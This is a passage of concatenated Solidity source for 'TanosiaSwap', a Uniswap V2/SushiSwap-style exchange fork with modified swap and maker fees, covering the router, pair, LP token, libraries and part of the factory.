amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external virtual override returns (uint amountETH) { address pair = UniswapV2Library.pairFor(factory, token, WETH); uint value = approveMax ? uint(-1) : liquidity; IUniswapV2Pair(pair).permit(msg.sender, address(this), value, deadline, v, r, s); amountETH = removeLiquidityETHSupportingFeeOnTransferTokens( token, liquidity, amountTokenMin, amountETHMin, to, deadline ); } // **** SWAP **** // requires the initial amount to have already been sent to the first pair function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual { for (uint i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); (address token0,) = UniswapV2Library.sortTokens(input, output); uint amountOut = amounts[i + 1]; (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0)); address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to; IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap( amount0Out, amount1Out, to, new bytes(0) ); } } function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) returns (uint[] memory amounts) { amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path); require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'); TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, to); } function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) returns (uint[] memory amounts) { amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path); require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT'); TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, to); } function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external virtual override payable ensure(deadline) returns (uint[] memory amounts) { require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH'); amounts = UniswapV2Library.getAmountsOut(factory, msg.value, path); require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'); IWETH(WETH).deposit{value: amounts[0]}(); assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0])); _swap(amounts, path, to); } function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external virtual override ensure(deadline) returns (uint[] memory amounts) { require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH'); amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path); require(amounts[0] <= amountInMax, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT'); TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, address(this)); IWETH(WETH).withdraw(amounts[amounts.length - 1]); TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]); } function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external virtual override ensure(deadline) returns (uint[] memory amounts) { require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH'); amounts = UniswapV2Library.getAmountsOut(factory, amountIn, path); require(amounts[amounts.length - 1] >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'); TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0] ); _swap(amounts, path, address(this)); IWETH(WETH).withdraw(amounts[amounts.length - 1]); TransferHelper.safeTransferETH(to, amounts[amounts.length - 1]); } function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external virtual override payable ensure(deadline) returns (uint[] memory amounts) { require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH'); amounts = UniswapV2Library.getAmountsIn(factory, amountOut, path); require(amounts[0] <= msg.value, 'UniswapV2Router: EXCESSIVE_INPUT_AMOUNT'); IWETH(WETH).deposit{value: amounts[0]}(); assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amounts[0])); _swap(amounts, path, to); // refund dust eth, if any if (msg.value > amounts[0]) TransferHelper.safeTransferETH(msg.sender, msg.value - amounts[0]); } // **** SWAP (supporting fee-on-transfer tokens) **** // requires the initial amount to have already been sent to the first pair function _swapSupportingFeeOnTransferTokens(address[] memory path, address _to) internal virtual { for (uint i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); (address token0,) = UniswapV2Library.sortTokens(input, output); IUniswapV2Pair pair = IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)); uint amountInput; uint amountOutput; { // scope to avoid stack too deep errors (uint reserve0, uint reserve1,) = pair.getReserves(); (uint reserveInput, uint reserveOutput) = input == token0 ? (reserve0, reserve1) : (reserve1, reserve0); amountInput = IERC20Uniswap(input).balanceOf(address(pair)).sub(reserveInput); amountOutput = UniswapV2Library.getAmountOut(amountInput, reserveInput, reserveOutput); } (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOutput) : (amountOutput, uint(0)); address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to; pair.swap(amount0Out, amount1Out, to, new bytes(0)); } } function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) { TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn ); uint balanceBefore = IERC20Uniswap(path[path.length - 1]).balanceOf(to); _swapSupportingFeeOnTransferTokens(path, to); require( IERC20Uniswap(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT' ); } function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override payable ensure(deadline) { require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH'); uint amountIn = msg.value; IWETH(WETH).deposit{value: amountIn}(); assert(IWETH(WETH).transfer(UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn)); uint balanceBefore = IERC20Uniswap(path[path.length - 1]).balanceOf(to); _swapSupportingFeeOnTransferTokens(path, to); require( IERC20Uniswap(path[path.length - 1]).balanceOf(to).sub(balanceBefore) >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT' ); } function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external virtual override ensure(deadline) { require(path[path.length - 1] == WETH, 'UniswapV2Router: INVALID_PATH'); TransferHelper.safeTransferFrom( path[0], msg.sender, UniswapV2Library.pairFor(factory, path[0], path[1]), amountIn ); _swapSupportingFeeOnTransferTokens(path, address(this)); uint amountOut = IERC20Uniswap(WETH).balanceOf(address(this)); require(amountOut >= amountOutMin, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'); IWETH(WETH).withdraw(amountOut); TransferHelper.safeTransferETH(to, amountOut); } // **** LIBRARY FUNCTIONS **** function quote(uint amountA, uint reserveA, uint reserveB) public pure virtual override returns (uint amountB) { return UniswapV2Library.quote(amountA, reserveA, reserveB); } function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) public pure virtual override returns (uint amountOut) { return UniswapV2Library.getAmountOut(amountIn, reserveIn, reserveOut); } function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) public pure virtual override returns (uint amountIn) { return UniswapV2Library.getAmountIn(amountOut, reserveIn, reserveOut); } function getAmountsOut(uint amountIn, address[] memory path) public view virtual override returns (uint[] memory amounts) { return UniswapV2Library.getAmountsOut(factory, amountIn, path); } function getAmountsIn(uint amountOut, address[] memory path) public view virtual override returns (uint[] memory amounts) { return UniswapV2Library.getAmountsIn(factory, amountOut, path); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0; import '../interfaces/IUniswapV2Pair.sol'; import "./SafeMath.sol"; library UniswapV2Library { using SafeMathUniswap for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'0806007449eb32dca887e3fdc15b99d4359dd5f90e1caf06dcff2add2bdc36aa' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(990); // change fee swap from 0.3% -> 1% uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(990); // change fee swap from 0.3% -> 1% amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // SPDX-License-Identifier: GPL-3.0 pragma solidity =0.6.12; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMathUniswap { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.0; // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0; interface IERC20Uniswap { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0; interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // SPDX-License-Identifier: GPL-3.0 pragma solidity =0.6.12; import './UniswapV2ERC20.sol'; import './libraries/Math.sol'; import './libraries/UQ112x112.sol'; import './interfaces/IERC20.sol'; import './interfaces/IUniswapV2Factory.sol'; import './interfaces/IUniswapV2Callee.sol'; interface IMigrator { // Return the desired amount of liquidity token that the migrator wants. function desiredLiquidity() external view returns (uint256); } contract UniswapV2Pair is UniswapV2ERC20 { using SafeMathUniswap for uint; using UQ112x112 for uint224; uint public constant MINIMUM_LIQUIDITY = 10**3; bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)'))); address public factory; address public token0; address public token1; uint112 private reserve0; // uses single storage slot, accessible via getReserves uint112 private reserve1; // uses single storage slot, accessible via getReserves uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves uint public price0CumulativeLast; uint public price1CumulativeLast; uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event uint private unlocked = 1; modifier lock() { require(unlocked == 1, 'UniswapV2: LOCKED'); unlocked = 0; _; unlocked = 1; } function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) { _reserve0 = reserve0; _reserve1 = reserve1; _blockTimestampLast = blockTimestampLast; } function _safeTransfer(address token, address to, uint value) private { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED'); } event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); constructor() public { factory = msg.sender; } // called once by the factory at time of deployment function initialize(address _token0, address _token1) external { require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check token0 = _token0; token1 = _token1; } // update reserves and, on the first call per block, price accumulators function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private { require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW'); uint32 blockTimestamp = uint32(block.timestamp % 2**32); uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) { // * never overflows, and + overflow is desired price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed; price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed; } reserve0 = uint112(balance0); reserve1 = uint112(balance1); blockTimestampLast = blockTimestamp; emit Sync(reserve0, reserve1); } // if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k) function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) { address feeTo = IUniswapV2Factory(factory).feeTo(); feeOn = feeTo != address(0); uint _kLast = kLast; // gas savings if (feeOn) { if (_kLast != 0) { uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1)); uint rootKLast = Math.sqrt(_kLast); if (rootK > rootKLast) { uint numerator = totalSupply.mul(rootK.sub(rootKLast)); uint denominator = rootK.mul(25).add(rootKLast); // change fee transfer to maker from 0.05% to 0.25% uint liquidity = numerator / denominator; if (liquidity > 0) _mint(feeTo, liquidity); } } } else if (_kLast != 0) { kLast = 0; } } // this low-level function should be called from a contract which performs important safety checks function mint(address to) external lock returns (uint liquidity) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings uint balance0 = IERC20Uniswap(token0).balanceOf(address(this)); uint balance1 = IERC20Uniswap(token1).balanceOf(address(this)); uint amount0 = balance0.sub(_reserve0); uint amount1 = balance1.sub(_reserve1); bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee if (_totalSupply == 0) { address migrator = IUniswapV2Factory(factory).migrator(); if (msg.sender == migrator) { liquidity = IMigrator(migrator).desiredLiquidity(); require(liquidity > 0 && liquidity != uint256(-1), "Bad desired liquidity"); } else { require(migrator == address(0), "Must not have migrator"); liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY); _mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens } } else { liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1); } require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED'); _mint(to, liquidity); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Mint(msg.sender, amount0, amount1); } // this low-level function should be called from a contract which performs important safety checks function burn(address to) external lock returns (uint amount0, uint amount1) { (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings address _token0 = token0; // gas savings address _token1 = token1; // gas savings uint balance0 = IERC20Uniswap(_token0).balanceOf(address(this)); uint balance1 = IERC20Uniswap(_token1).balanceOf(address(this)); uint liquidity = balanceOf[address(this)]; bool feeOn = _mintFee(_reserve0, _reserve1); uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED'); _burn(address(this), liquidity); _safeTransfer(_token0, to, amount0); _safeTransfer(_token1, to, amount1); balance0 = IERC20Uniswap(_token0).balanceOf(address(this)); balance1 = IERC20Uniswap(_token1).balanceOf(address(this)); _update(balance0, balance1, _reserve0, _reserve1); if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date emit Burn(msg.sender, amount0, amount1, to); } // this low-level function should be called from a contract which performs important safety checks function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock { require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT'); (uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY'); uint balance0; uint balance1; { // scope for _token{0,1}, avoids stack too deep errors address _token0 = token0; address _token1 = token1; require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO'); if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data); balance0 = IERC20Uniswap(_token0).balanceOf(address(this)); balance1 = IERC20Uniswap(_token1).balanceOf(address(this)); } uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0; uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0; require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT'); { // scope for reserve{0,1}Adjusted, avoids stack too deep errors uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(10)); // change fee swap from 0.3% -> 1% uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(10)); // change fee swap from 0.3% -> 1% require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K'); } _update(balance0, balance1, _reserve0, _reserve1); emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to); } // force balances to match reserves function skim(address to) external lock { address _token0 = token0; // gas savings address _token1 = token1; // gas savings _safeTransfer(_token0, to, IERC20Uniswap(_token0).balanceOf(address(this)).sub(reserve0)); _safeTransfer(_token1, to, IERC20Uniswap(_token1).balanceOf(address(this)).sub(reserve1)); } // force reserves to match balances function sync() external lock { _update(IERC20Uniswap(token0).balanceOf(address(this)), IERC20Uniswap(token1).balanceOf(address(this)), reserve0, reserve1); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity =0.6.12; import './libraries/SafeMath.sol'; contract UniswapV2ERC20 { using SafeMathUniswap for uint; string public constant name = 'TanosiaSwap LP Token'; string public constant symbol = 'TLP'; uint8 public constant decimals = 18; uint public totalSupply; mapping(address => uint) public balanceOf; mapping(address => mapping(address => uint)) public allowance; bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); constructor() public { uint chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); } function _mint(address to, uint value) internal { totalSupply = totalSupply.add(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(address(0), to, value); } function _burn(address from, uint value) internal { balanceOf[from] = balanceOf[from].sub(value); totalSupply = totalSupply.sub(value); emit Transfer(from, address(0), value); } function _approve(address owner, address spender, uint value) private { allowance[owner][spender] = value; emit Approval(owner, spender, value); } function _transfer(address from, address to, uint value) private { balanceOf[from] = balanceOf[from].sub(value); balanceOf[to] = balanceOf[to].add(value); emit Transfer(from, to, value); } function approve(address spender, uint value) external returns (bool) { _approve(msg.sender, spender, value); return true; } function transfer(address to, uint value) external returns (bool) { _transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) external returns (bool) { if (allowance[from][msg.sender] != uint(-1)) { allowance[from][msg.sender] = allowance[from][msg.sender].sub(value); } _transfer(from, to, value); return true; } function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'UniswapV2: EXPIRED'); bytes32 digest = keccak256( abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline)) ) ); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE'); _approve(owner, spender, value); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity =0.6.12; // a library for performing various math operations library Math { function min(uint x, uint y) internal pure returns (uint z) { z = x < y ? x : y; } // babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method) function sqrt(uint y) internal pure returns (uint z) { if (y > 3) { z = y; uint x = y / 2 + 1; while (x < z) { z = x; x = (y / x + x) / 2; } } else if (y != 0) { z = 1; } } } // SPDX-License-Identifier: GPL-3.0 pragma solidity =0.6.12; // a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format)) // range: [0, 2**112 - 1] // resolution: 1 / 2**112 library UQ112x112 { uint224 constant Q112 = 2**112; // encode a uint112 as a UQ112x112 function encode(uint112 y) internal pure returns (uint224 z) { z = uint224(y) * Q112; // never overflows } // divide a UQ112x112 by a uint112, returning a UQ112x112 function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) { z = x / uint224(y); } } // SPDX-License-Identifier: GPL-3.0 pragma solidity >=0.5.0; interface IUniswapV2Callee { function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "../uniswapv2/UniswapV2Pair.sol"; contract SushiSwapPairMock is UniswapV2Pair { constructor() public UniswapV2Pair() {} } // SPDX-License-Identifier: GPL-3.0 pragma solidity =0.6.12; import './interfaces/IUniswapV2Factory.sol'; import './UniswapV2Pair.sol'; contract UniswapV2Factory is IUniswapV2Factory { address public override feeTo; address public override feeToSetter; address public override migrator; mapping(address => mapping(address => address)) public override getPair; address[] public override allPairs; event PairCreated(address indexed token0, address indexed token1, address pair, uint); constructor(address _feeToSetter) public { feeToSetter = _feeToSetter; } function allPairsLength() external override view returns (uint) { return allPairs.length; } function pairCodeHash() external pure returns (bytes32) { return keccak256(type(UniswapV2Pair).creationCode); } function createPair(address tokenA, address tokenB) external override returns (address pair) { require(tokenA != tokenB, 'UniswapV2: IDENTICAL_ADDRESSES'); (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2: ZERO_ADDRESS'); require(getPair[token0][token1] == address(0), 'UniswapV2: PAIR_EXISTS'); // single check is sufficient bytes memory bytecode = 